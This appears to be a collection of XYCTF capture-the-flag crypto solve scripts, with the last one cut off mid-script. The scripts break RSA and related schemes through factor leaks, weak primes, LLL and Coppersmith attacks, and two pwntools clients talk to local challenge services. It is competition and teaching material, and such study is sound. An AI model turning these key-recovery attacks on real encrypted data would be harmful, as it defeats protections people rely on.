1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sys
from Crypto.Util.number import *
sys.setrecursionlimit(3939)        #不设置一下最大递归深度的话已经超出了（

n = 22424440693845876425615937206198156323192795003070970628372481545586519202571910046980039629473774728476050491743579624370862986329470409383215065075468386728605063051384392059021805296376762048386684738577913496611584935475550170449080780985441748228151762285167935803792462411864086270975057853459586240221348062704390114311522517740143545536818552136953678289681001385078524272694492488102171313792451138757064749512439313085491407348218882642272660890999334401392575446781843989380319126813905093532399127420355004498205266928383926087604741654126388033455359539622294050073378816939934733818043482668348065680837
c = 1400352566791488780854702404852039753325619504473339742914805493533574607301173055448281490457563376553281260278100479121782031070315232001332230779334468566201536035181472803067591454149095220119515161298278124497692743905005479573688449824603383089039072209462765482969641079166139699160100136497464058040846052349544891194379290091798130028083276644655547583102199460785652743545251337786190066747533476942276409135056971294148569617631848420232571946187374514662386697268226357583074917784091311138900598559834589862248068547368710833454912188762107418000225680256109921244000920682515199518256094121217521229357
e = 65537
pq_xor = 14488395911544314494659792279988617621083872597458677678553917360723653686158125387612368501147137292689124338045780574752580504090309537035378931155582239359121394194060934595413606438219407712650089234943575201545638736710994468670843068909623985863559465903999731253771522724352015712347585155359405585892

n_bits = 1024
xor = bin(pq_xor)[2:].zfill(n_bits)        #由于p，q的开头至少第一位肯定是1，所以实际上还得在前面补0
p_s = []

def pq_high_xor(p="", q=""):        #高位进行爆破
    lp, lq = len(p), len(q)
    tp0 = int(p + (1024 - lp) * "0", 2)
    tq0 = int(q + (1024 - lq) * "0", 2)
    tp1 = int(p + (1024 - lp) * "1", 2)
    tq1 = int(q + (1024 - lq) * "1", 2)

    if tp0 * tq0 > n or tp1 * tq1 < n:        #如果当前pq最小值相乘都比n大或者pq最大值相乘都比n小，那么肯定不符合，可以返回了
        return
    if lp == n_bits:        #当前递归深度下p的长度达到1024位的话表明得到一个可能的解
        p_s.append(tp0)
        return

    if xor[lp] == "1":        
        pq_high_xor(p + "0", q + "1")
        pq_high_xor(p + "1", q + "0")
    else:
        pq_high_xor(p + "0", q + "0")
        pq_high_xor(p + "1", q + "1")

pq_high_xor()

for p in p_s:        #常规RSA
    q = n // p
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    m = pow(c, d, n)
    print(long_to_bytes(m))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
n = 107803636687595025440095910573280948384697923215825513033516157995095253288310988256293799364485832711216571624134612864784507225218094554935994320702026646158448403364145094359869184307003058983513345331145072159626461394056174457238947423145341933245269070758238088257304595154590196901297344034819899810707
c = 46049806990305232971805282370284531486321903483742293808967054648259532257631501152897799977808185874856877556594402112019213760718833619399554484154753952558768344177069029855164888168964855258336393700323750075374097545884636097653040887100646089615759824303775925046536172147174890161732423364823557122495
l = [618066045261118017236724048165995810304806699407382457834629201971935031874166645665428046346008581253113148818423751222038794950891638828062215121477677796219952174556774639587782398862778383552199558783726207179240239699423569318, 837886528803727830369459274997823880355524566513794765789322773791217165398250857696201246137309238047085760918029291423500746473773732826702098327609006678602561582473375349618889789179195207461163372699768855398243724052333950197]
e = 65537
for a1 in range(257):
    for a2 in range(257):
        l_ = abs(l[0] * a2 - l[1] * a1)
        q = GCD(l_, n)
        if q != 1 and q.bit_length() == 512:
            print('q =', q)
            print('p =', n // q)
            break
# 解得
q = 12951283811821084332224320465045864899191924765916891677355364529850728204537369439910942929239876470054661306841056350863576815710640615409980095344446711
p = 8323779962971618345273954895424806333469829912334300198060342319777227207496747203116360364049448374664074985646069999780324150495814809237871806097818437
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from PIL import Image
import random

def reverse_color(x):
    return 0 if x == 255 else 255

def reverse_row_colors(pixels, row, width, block_size=10):
    for x_block in range(width // block_size):
        x = x_block * block_size
        y = row * block_size
        for x_small in range(x, x + block_size):
            for y_small in range(y, y + block_size):
                pixel = pixels[x_small, y_small]
                pixels[x_small, y_small] = reverse_color(pixel)

def reverse_col_colors(pixels, col, height, block_size=10):
    for y_block in range(height // block_size):
        x = col * block_size
        y = y_block * block_size
        for x_small in range(x, x + block_size):
            for y_small in range(y, y + block_size):
                pixel = pixels[x_small, y_small]
                pixels[x_small, y_small] = reverse_color(pixel)

original_img = Image.open("new.png")

new_img = original_img.copy()

width, height = new_img.size
pixels = new_img.load()

reverse_col_colors(pixels, 5, height)#2，13行，1，3，6，11，12列
reverse_col_colors(pixels, 2, height)
reverse_col_colors(pixels, 0, height)
reverse_row_colors(pixels, 1, width)
reverse_row_colors(pixels, 12, width)
reverse_col_colors(pixels, 10, height)
reverse_col_colors(pixels, 11, height)

new_img.save("flag.png")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * # type: ignore
# context.log_level = 'debug'

r = remote('127.0.0.1', 51838)

rsp = ['Rock', 'Paper', 'Scissors']
a=0
b=0
c=0
for i in range(100):
     if(a==0):
          r.recvuntil(b'> ')
          r.sendline(rsp[0])
          a+=1
     elif(a>=b and a>=c):
          r.recvuntil(b'> ')
          r.sendline(rsp[1])
          b+=1
     elif(b>=a and b>=c):
          r.recvuntil(b'> ')
          r.sendline(rsp[2])
          c+=1
     elif(c>=a and c>=b):
          r.recvuntil(b'> ')
          r.sendline(rsp[0])
          a+=1

r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
import gmpy2
n = 24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879
c = 14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287
e = 65537
t1 = 1 << 512
p = (2**512+gmpy2.iroot((2**512)**2-4*n, 2)[0])//2
p = int(p)
while n % p != 0:
    p = gmpy2.next_prime(p)
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)

    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)
    
c = 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567790013445788912235567900124556899022356679001344577890233557780112445788911335667991124556899122355788001344578890123566780112455678012235578800133467889013356679001344567991223557880012455788911234677990134456799023355788001245568991133467780012455788902335568900134456899012356678011245578801233467789112355779912234577990233556780113

c_str = str(c)
state = 0
lis = ''
for i in range(len(str(c)) - 1):

    if (int(c_str[i]) + 2) % 10 == int(c_str[i + 1]) % 10:
        state = 1
    if int(c_str[i]) % 10 == int(c_str[i + 1]) % 10:
        state = 0
    if (int(c_str[i]) + 1) % 10 == int(c_str[i + 1]) % 10:
        pass
    lis += str(state)

lis_1 = "0b" + lis + "1"

c1 = swap_bits(lis_1)

flag1 = int(c1, 2)

print(long_to_bytes(flag1))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
from Crypto.Util.number import *
import z3

e = 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
n = 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

# 连分数攻击脚本求出来的，n取pq^3
d = 8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347
k = 1494016303704162064457264904035459059241052443477469129020991127731711502975536480528822831565100775167693515363479900721259984367515846296462994230670260
#

phi = (e * d - 1) // k

x = z3.Int('x')
z3.solve(n**3-x**3+3*n*x+1 == phi)

# 这个是上面的结果
x = 19967005847503923034507166918794965506267503428119552203292911361615132318903414819134103287113608735292986181147786515878575262609755277623932397581187246

flag = "XYCTF{" + hashlib.md5(str(x).encode()).hexdigest() + "}"
print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *
from gmpy2 import *
from random import choice

t = 65537

n = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
gift1 = 4549402444746338327349007235818187793950285105091726167573552412678416759694660166956782755631447271662108564084382098562999950228708300902201571583419116299932264478381197034402338481872937576172197202519770782458343606060544694608852844228400457232100904217062914047342663534138668490328400022651816597367310
gift2 = 111061215998959709920736448050860427855012026815376672067601244053580566359594802604251992986382187891022583247997994146019970445247509119719411310760491983876636264003942870756402328634092146799825005835867245563420135253048223898334460067523975023732153230791136870324302259127159852763634051238811969161011462
c = 16938927825234407267026017561045490265698491840814929432152839745035946118743714566623315033802681009017695526374397370343984360997903165842591414203197184946588470355728984912522040744691974819630118163976259246941579063687857994193309554129816268931672391946592680578681270693589911021465752454315629283033043
y = 1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217

'''光滑数分解n
a = 2
k = 2
N = n
while True:
    a = powmod(a, k, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q = N // res
        print("p =",res)
        print("q =",q)
        break
    k += 1
'''
p = 236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479
q = 166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176579651490080696973849607356408696043718492499993062863415424578199

phi = (p - 1) * (q - 1)
dt = invert(t, phi)
x = pow(y, dt, n)
print(long_to_bytes(x)) #XYCTF{e==4096}

e = 4096

d = invert(e // 4, phi // 4)

flag = iroot(pow(c, d, n),4)
print(long_to_bytes(flag[0]).decode())
#XYCTF{Rabin_is_so_biggggg!}

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *

p = 1849790472911267366045392456893126092698743308291512220657006129900961168811898822553602045875909
G = Zmod(p)
A = matrix(G, [[9,0,-36],[6,0,-27],[0,1,0]])
A_jor, P = A.jordan_form(transformation=True)

a = P**(-1) * vector(G,[69, 48, 52])
D = P**(-1) * vector(G,(1431995965813617415860695748430644570118959991271395110995534704629241309597572003500157255135707, 1011565891130611736600822618382801465506651972373410962205810570075870804325974377971089090196019, 784497518859893244278116222363814433595961164446277297084989532659832474887622082585456138030246))

print(long_to_bytes(int((D[1] / (D[2] / (3 * a[2])) - 3 * a[1]) / a[2])))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from Crypto.Util.number import *
import math

class Complex:
    def __init__(self, re, im):
        self.re = re
        self.im = im
    def __mul__(self, c):
        if type(c) == int:
            return Complex(c * self.re, c * self.im)
        re_ = self.re * c.re - self.im * c.im
        im_ = self.re * c.im + self.im * c.re
        return Complex(re_, im_)
    def __rmul__(self, c):
        return self * c
    def __mod__(self, c):
        return Complex(self.re % c, self.im % c)
    def __str__(self):
        if self.im == 0:
            return str(self.re)
        elif self.re == 0:
            if abs(self.im) == 1:
                return f"{'-' if self.im < 0 else ''}i"
            else:
                return f"{self.im}i"
        else:
            return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"
    def __eq__(self, c):
        if self.re == c.re and self.im == c.im:
            return True
        return False

def factor(n):
    result = []
    while n > 1:
        m = n
        for i in sieve_base:
            if n % i == 0:
                result.append(i)
                n //= i
        if m == n:
            result.append(n)
            break
    result.sort()
    return result

def crt(remain, moduli):
    result = 0
    for i in range(len(moduli)):
        M = 1
        for j in range(len(moduli)):
            if i != j:
                M *= moduli[j]
        M *= pow(M % moduli[i], -1, moduli[i])
        result += remain[i] * M
    result %= math.prod(moduli)
    return result

def complex_pow(c, exp, n):
    result = Complex(1, 0)
    while exp > 0:
        if exp & 1:
            result = result * c
            result.re = result.re % n
            result.im = result.im % n
        c = c * c
        c.re = c.re % n
        c.im = c.im % n
        exp >>= 1
    return result

def complex_invert(c, n):
    z = Complex(c.re, -c.im) % n
    a = c * z % n
    result = Complex(pow(a.re, -1, n) * z.re, pow(a.re, -1, n) * z.im) % n
    return result

def babystep_giantstep(g, y, p, q=None):
    if q is None:
        q = p - 1
    m = int(q**0.5 + 0.5)
    table = {}
    gr = Complex(1, 0)
    for r in range(m):
        table[(gr.re, gr.im)] = r
        gr = (gr * g) % p
    try:
        gm = complex_pow(complex_invert(g, p), m, p)
    except:
        return None
    ygqm = y
    for q in range(m):
        if (ygqm.re, ygqm.im) in table:
            return q * m + table[(ygqm.re, ygqm.im)]
        ygqm = (ygqm * gm) % p
    return None

def pohlig_hellman_DLP(g, y, p):
    crt_moduli = []
    crt_remain = []
    for q in factor(p - 1):
        x = babystep_giantstep(complex_pow(g,(p**2-1)//q,p), complex_pow(y,(p**2-1)//q,p), p, q)
        if (x is None) or (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

g = Complex(3, 7)
y = Complex(5699996596230726507553778181714315375600519769517892864468100565238657988087817,198037503897625840198829901785272602849546728822078622977599179234202360717671908)
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
x = pohlig_hellman_DLP(g, y, p)
print(x)
print(pow(g, x, p) == y)

print(b'XYCTF{' + long_to_bytes(x) + b'}')

1
2
3
4
5
6
7
8
9
10
11
12
13
# exp1.py
a = -28814875173103880290298835537218644402443395484370652510062722255203946330565951328874411874019897676900075613671629765922970689802650462822117767927082712245512492082864958877932682404829188622269636302484189627580600076246836248427780151681898051243380477561480415972565859837597822263289141887833338111120
n = 235362412848885579543400940934854106052672292040465052424316433330114813432317923674803623227280862945857543620663672974955235166884830751834386990766053503640556408758413592161122945636548462064584183165189050320898315823173824074873376450569212651128285746330837777597290934043912373820690250920839961482862 // 2

from z3 import *
import gmpy2 as gp

p2 = Int('p^2')
solve(p2**4-a*p2-n**2==0,p>0)

p = gp.isqrt(p2)
#p = 10205509456040823453782883291824829705816298450992336115902525676510986341532486274067943978039013674207011185602314114359146043975207543018267242312660911
q = n // p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# exp2.py
from Crypto.Util.number import *
import math

class Complex:
    def __init__(self, re, im):
        self.re = re
        self.im = im
    def __mul__(self, c):
        if type(c) == int:
            return Complex(c * self.re, c * self.im)
        re_ = self.re * c.re - self.im * c.im
        im_ = self.re * c.im + self.im * c.re
        return Complex(re_, im_)
    def __rmul__(self, c):
        return self * c
    def __mod__(self, c):
        return Complex(self.re % c, self.im % c)
    def __str__(self):
        if self.im == 0:
            return str(self.re)
        elif self.re == 0:
            if abs(self.im) == 1:
                return f"{'-' if self.im < 0 else ''}i"
            else:
                return f"{self.im}i"
        else:
            return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"
    def __eq__(self, c):
        if self.re == c.re and self.im == c.im:
            return True
        return False

def complex_pow(c, exp, n):
    result = Complex(1, 0)
    while exp > 0:
        if exp & 1:
            result = result * c
            result.re = result.re % n
            result.im = result.im % n
        c = c * c
        c.re = c.re % n
        c.im = c.im % n
        exp >>= 1
    return result

def complex_root(c, rt, p): # 不成熟的AMM开根算法，至少这题够用了
    if not isPrime(p):
        return None
    s = p**2 - 1
    t = 0
    while s % rt == 0:
        s //= rt
        t += 1
    if t == 1:
        d = s - 1 if mode == 'p' else s + 1
        print("gcd:", GCD(d, rt))
        if GCD(d, rt) == rt:
            return complex_pow(c, d // rt, p)
        else:
            pass
    else:
        print('t!=1')

def complex_invert(c, n):
    z = Complex(c.re, -c.im) % n
    a = c * z % n
    result = Complex(pow(a.re, -1, n) * z.re, pow(a.re, -1, n) * z.im) % n
    return result

mode = 'p'
if mode == 'p':
    c = Complex(10125263610599917669149144743727960188466901485773748644286476597579090868621836313059888502471225526153972312316703988282771830904011916582444860683610432,9451076100911562951361151967676933406078341032849020291049050212697035635499243199374241464676344416505176977191307069049398888880856794218238967694409631)
    p = 10205509456040823453782883291824829705816298450992336115902525676510986341532486274067943978039013674207011185602314114359146043975207543018267242312660911
    a = complex_invert(complex_root(c, 3, p), p)
else:
    c = Complex(6786340638968721070201952916293192110636197485843625002119876196653281435678822887563819899110852695689136004344907774187627458237604665088852131536590978,4523698950696884036313363567679784117546312872401023984737883621485654402226083803627927046766601692669077633983773829758683200923557413725627909818010799)
    p = 11531144714660489617244423924607904114688972598683439999377362467380544567879231460623526800789918614728790840508257630983753525432337178000220918002499321
    a = complex_root(c, 3, p)
print(f'Complex({a.re},{a.im})')
print(complex_pow(a, 3, p) == c)

import random
l = []
for i in range(2000): # 2000是确保遍历到所有根
    n = complex_pow(Complex(random.randint(1,p-1),random.randint(1,p-1)),(p**2-1)//3,p)
    a2 = a * n % p
    if not f'Complex({a2.re},{a2.im}),' in l:
        l.append(f'Complex({a2.re},{a2.im}),')
##    print(complex_pow(a2, 3, p) == c)
print(l)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 接exp1.py
comp = complex_pow(encp, pow(e//3, -1, (p**2-1)//3), p) # 上面 mode = 'p' 的 c
comq = complex_pow(encq, pow(e//3, -1, (q**2-1)//3), q) # 上面 mode = 'q' 的 c
m1 = [Complex(541188704188079589696975129595232907618336472449302715451101512615336798606191093807452278721326418083969279016584498160468079290503842589663811709060371, 5741279734159523094711430662094390392066954482529914882030709450295074947781529110509321968864008611691202383770840412010325910906148313511187473860891035),
      Complex(1662435559780994004386842122204566836802794060667449753807174598739830437128828179292947062605594949711892539092095892832053999186054026591407366803020136,4429927739780647098163182245695850111737474361073472216489514077452142827783532166774438977867801037416377640995299677179237078298139871084989841206362410),
      Complex(8001885192071749859699066040025029961395167917875583646644249565155819105797467000967544636712092306411149367493633723366623965498649673837196063800580404,34301982100653260908270384034589202011869607388949017382302148763768565967424996784183031307204025099431160836174025169583054770919358422089927245407466)]
m2 = [Complex(1217221620337618917243787804704498765774078541871944235501766658464684396657530547334482771121693798142550712746858805371783011221995724541464038836673061,8586549363626610854952590733794044071899545915261216635206863621255915665043556027382073545902963458915586846862230166123268280750109862724278599667847493),
      Complex(6857325280540966155209571629622673516628729233046153216919246004917826296064185951208599616644606134509118662339264343895819605897243323286865301166906602,5276901669007862459606429311418416791067007412160397323233728060764482838272522831695179159225558247215591099096136610833622276098301992005638773878483349),
      Complex(8503432605028099223082740882529347146997316989367545950492333769305549393260049047195629451308480848275471020811688622917531588079409913760096873405190234,4073305908343434001432234700505703739500538013701467077531217640906529193773037971902079461771703238283853345951042314327641038705737553746426200870882295),
      Complex(4121694029664041978927797165221546618939268589175297893513650941901521328887423207726634825943843128912526687991267349501555811582062174969259522939168771,2532203573284115839943680788607708204602770120790189755204953987476111829919496668633934893315585793821873529667573847786200205063152150526940602177115763),
      Complex(6192229064658828721072838954681858729975625467636197870361944867014338842334277705562409203724381687673713439770131476110414702628279278489497356226657489,412391777749762922348152402206151838186656562632033608965544858648517072916178764607518361571369361991330463978453617074285039619075164749001716157536065),
      Complex(7838336389145961788946008207588532360344213223957590603935032631402061939530140801549439038388256401440065798242555755132126684810445868962728928464941121,10739940731745824081418381715901342901309159762856543362640396906171107996295925365437945464907432967788383551341616951552057327658847904490010061152434332),
      Complex(8366627759634051290333268012004602352405002740363136177900446298441200900164136168489014946546974693508397220434695162939560760156985163750847606373150919,7045447028567292693464036821896048537001778022349939312880599967825498301190014724113928977446846014453607030578761699581827447107524459504793000974080961),
      Complex(2475586705176908911054627912314872988570680832853905159940563177513798231691560111739604991279968415146174329518843070479843829399895584496027950700885139,3735799333948544298117875399520421256169239519249120000907464407334065474418981528427034590769440802753611282812668144292181442455716588786153175184716817),
      Complex(552125404455481483107055129763683979120974776461988888944465520561196942927622301688292358201469351307145490177725937586378107953031679744096093896423948,3722039472368511317694313824581779119019195065732852920938680419139949899687211960294412748248774573691326211744547172363931044270883035467641541946900209),]
def crt(remain, moduli):
    result = Complex(0, 0)
    for i in range(len(moduli)):
        M = 1
        for j in range(len(moduli)):
            if i != j:
                M *= moduli[j]
        M *= pow(M % moduli[i], -1, moduli[i])
        result = result + remain[i] * M
    result %= math.prod(moduli)
    return result

for i in m1:
    for j in m2:
        com = crt([i, j], [p, q])

        m = com.re ^ com.im
        print(long_to_bytes(m))

1
2
3
4
R=2^int(N.nbits()*1.5)
L= Matrix([[R,e],[O,N ^ 2]]).LLL()
d= abs(L[0][0]// R)
print(long_to_bytes(d^2 ^^ c))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)

    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)
    
c = #填这道题给的数据就行

c_str = str(c)
state = 0
lis = ''
for i in range(len(str(c)) - 1):

    if (int(c_str[i]) + 2) % 10 == int(c_str[i + 1]) % 10:
        state = 1
    if int(c_str[i]) % 10 == int(c_str[i + 1]) % 10:
        state = 0
    if (int(c_str[i]) + 1) % 10 == int(c_str[i + 1]) % 10:
        pass
    lis += str(state)

lis_1 = "0b" + lis + "1"

c1 = swap_bits(lis_1)

flag1 = int(c1, 2)

print(long_to_bytes(flag1))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import libnum
from Crypto.Util.number import *
import hashlib
from gmpy2 import *

# from secrets import flag
flag = b'XYCTF{uuid}'


def hash(x):
    return hashlib.sha256(x.encode()).digest()


def pad(message):
    return message + hash(str(len(message)))


m = bytes_to_long(pad(flag))
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 3
print(pow(m, e, n))
print(n)

1
2
def pad(message):
    return message + hash(str(len(message)))

1
2
3
4
5
lis = []
for i in range(7, 99):
    print(i)
    lis.append(bytes_to_long(hash(str(i))))
print(lis)

1
2
flagHead = bytes_to_long(b'XYCTF{')
flagTail = bytes_to_long(b'}')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#sage
n = 
c = 
flagHead = 97140404930171
flagTail = 125

R.<x> = PolynomialRing(Zmod(n))
for length in range(7, 98): 
    m = flagHead * 2 ** (256 + (length - 6) * 8) + x * 2 ** (256 + 8) + flagTail * 2 ** 256 + low_m_lis[length - 7]
    r = m ** 3 - c
    r = r.monic()
    M = r.small_roots(X = 2 ** ((length - 7)  * 8))
    print("当前爆破长度" + str(length))
    if M != []:
        print(M)
        break

1
2
res = 58964190787951927773278389967057377362495121527440001979648729026891046689
print("XYCTF{" + str(long_to_bytes(res)) + "}")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import random
from Crypto.Util.number import *

n = 697906506747097082736076931509594586899561519277373830451275402914416296858960649459482027106166486723487162428522597262774248272216088755005277069446993003521270487750989061229071167729138628583207229945902389632065500739730301375338674342457656803764567184544685006193130563116558641331897204457729877920989968662546183628637193220770495938729301979912328865798266631957128761871326655572836258178871966196973138373358029531478246243442559418904559585334351259080578222274926069834941166567112522869638854253933559832822899069320370733424453856240903784235604251466010104012061821038897933884352804297256364409157501116832788696434711523621632436970698827611375698724661553712549209133526623456888111161142213830821361143023186927163314212097199831985368310770663850851571934739809387798422381702174820982531508641022827776262236373967579266271031713520262606203067411268482553539580686495739014567368858613520107678565628269250835478345171330669316220473129104495659093134763261751546990704365966783697780787341963138501
c = 153383826085102296581238539677668696644156148059026868813759015106139131297135097831661048493079405226972222492151356105759235749502324303047037349410709021152255315429280760639113724345836532087970918453353723090554450581657930847674930226113840172368662838756446364482977092478979838209396761279326533419699056209983721842484996150025403009644653678928025861445324715419893797015875541525590135843027312322236085581571452084477262582966972702577136904385741443870527205640874446616413917231260133364227248928492574610248881137364204914001412269740461851747883355414968499272944590071623223603501698004227753335552646715567802825755799597955409228004284739743749531270833084850113574712041224896044525292591264637452797151098802604186311724597450780520140413704697374209653369969451501627583467893160412780732575085846467289134920886789952338174193202234175299652687560232593212131693456966318670843605238958724126368185289703563591477049105538528244632434869965333722691837462591128379816582723367039674028619947057144546

def is_true(a, b, mode): #判断这个节点是活路还是死路
    if len(b) - len(a) >= 2:
        return True
    if len(b) - len(a) == 1:
        big = max([int(i) for i in mode])
        small = min([int(i) for i in mode])
        if int(b) >= int(small*len(b)):
            return True
        if int(a) <= int(big*len(a)):
            return True
        return False
    big = max([int(i) for i in mode])
    small = min([int(i) for i in mode])
    if len(a) == 1:
        return (small <= int(b) and big >= int(a))
    if a[0] != b[0]:
        if not is_true(a[0], b[0], mode):
            return False
        if int(b[0]) == small and int(b) >= int(small * len(b)):
            return True
        if int(a[0]) == big and int(a) <= int(big * len(a)):
            return True
        for i in range(len(a)-1):
            if int(b[i]) - int(a[i]) >= 2:
                return True
            if not is_true(a[0:i+1], b[0:i+1], mode):
                return False
        return True
    for i in range(1,len(a)):
        if a[i] != b[i]:
            break
        if a[i] not in mode:
            return False
    return is_true(a[i:], b[i:], mode)

def calc(p): #根据前面的节点计算下一个可能的节点的值
    res = ''
    for i in ['1', '2', '3']: # 先依次假设p前面的位
        q_ = ''
        p_ = p
        p_ += i
        q1 = str(n // int(p_.ljust(512,'3'))) # 当p前面的位是确定的时候，xxx333333...就是最大值，q1就是q的最小值
        q2 = str(n // int(p_.ljust(512,'1'))) # xxx111111...就是最小值，q2就是q的最大值
        if len(q1) != len(q2):
            break
        for j in range(len(q1)):
            if q1[j] != q2[j]:
                break
            if q1[j] not in ['5','6','7']:
                break
            q_ += q1[j]
        if is_true(q1, q2, ['5','6','7']): #判断区间(q1, q2)内是否存在满足题目条件的q
            res += i # 若存在，那么这个i就是可以走的节点
    return list(res)

state = [[] for _ in range(512)] #记录走过的节点都有哪些岔路口
p = '' #初始值
k = 0
while len(p) < 512:
    res = calc(p)
    state[len(p)] = res
    while len(state[len(p)]) == 0: #发现走不通就倒退
        p = p[0:-1] # 倒退
        state[len(p)].pop(0) # 删掉第一个岔路口，那么第二个岔路口就变成了新的第一个岔路口（
    p += state[len(p)][0] # 默认走第一个岔路口

# p = 12121111312111223223122131311333233122132311113333112131132223222322113121112211311111122233111221112223111221331112322222333332331231122322123321123123133323213331321113332333332231113221231213322231322132311333132111221123111323112322131123322323331121233332123131222321123312221122323311122131121132332322222321213223131211322122311113331331222212121313131121212322112122212323321311231113213233312223111132133321123211122222213321223332322123131333322121223233122311222211311133331123122122331232313131221113
# q = 57577765666565565655657656576766776756666756575575655557577765666657666756565556567577677665557556655765767767655556677756576555657667566766667676566655656776775755756775755667657675665677575667656666776656677656575665766556767757667556655755567556776556675656666757767667757657665757566667776555777667667675756767666767666557555757566576666656676677575575577567765566577557756566766557765676756756557667655756575677676567766776665777656776577676577576757576665777555555575575656555655657776566765775556575765677
# 下面是rsa
p = int(p)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(65537, -1 ,phi)
print(long_to_bytes(pow(c, d, n)))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote('localhost',53739)
print(p.recv().decode())
p.sendline(b'1')
iv = p.recv(32)
ct = p.recv(96)
p.sendline(b'2')
print(p.recv().decode())
p.sendline(iv)
p.sendline(b'0' * 96)
print(p.recvuntil(b'age: ').decode())
kb = p.recv(96)

ct = bytes.fromhex(ct.decode())
